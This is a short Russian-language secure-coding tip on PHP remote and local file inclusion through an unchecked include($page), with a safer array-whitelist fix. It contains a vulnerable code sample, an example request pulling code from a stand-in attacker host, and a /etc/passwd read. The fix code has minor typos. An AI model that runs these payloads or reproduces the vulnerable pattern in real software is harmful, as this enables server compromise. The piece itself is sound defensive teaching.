Многие начинающие программисты допускают ошибку, создавая файл шаблона с верхним и нижним колонтитулами для веб-сайта и ещё один файл с содержанием страницы в URL. Например:
<html> <head> <title>Это сайт пользователя</title> </head> <body> <?php include($page); ?> </body> </html>
Затем создаются ссылки типа script.php?page=main.html. Поступать так очень опасно, потому что этот прием уязвим для целого ряда атак.
Если в файле php.ini для allow_url_fopen задано значение on, то атакующий может выполнить на сервере произвольный PHP скрипт, вызвав script.php со стракой запроса ?page=http://attack-user.com/code.txt. В результате PHP запросит code.txt с сервера атакующего, включит его в страницу и выполнит. Это одна из главных причин, по которым allow_url_fopen надо устанавливать off, если нет действительной необходимости в обратном. Другая атака, которую разрешает этот сценарий, заключается в установке для переменной $page значение /etc/passwd, что приведет к посылке файла /etc/passwd атакующему. Лучший способ защиты - не пользоваться таким приемом. Лучше присвойте номер каждой странице и создайте массив с именами файлов страниц, индексированный по их номерам. Включайте $pages[$index], как показано ниже:
<?php $pages = array(1 => "main.hml", 2 => "news.html"); If(($index < 1) or ($index > 2)) $index = 1; ?> <html> <head> <title>Site</title> </head> <body> <b>Добрый день!</b> <br> <?php include $pages[$index]; ?> <body> <html>
Этот сценарий вызывается со строкой запроса ?index=1 для доступа к main.html или ?index=2 для доступа к news.html. |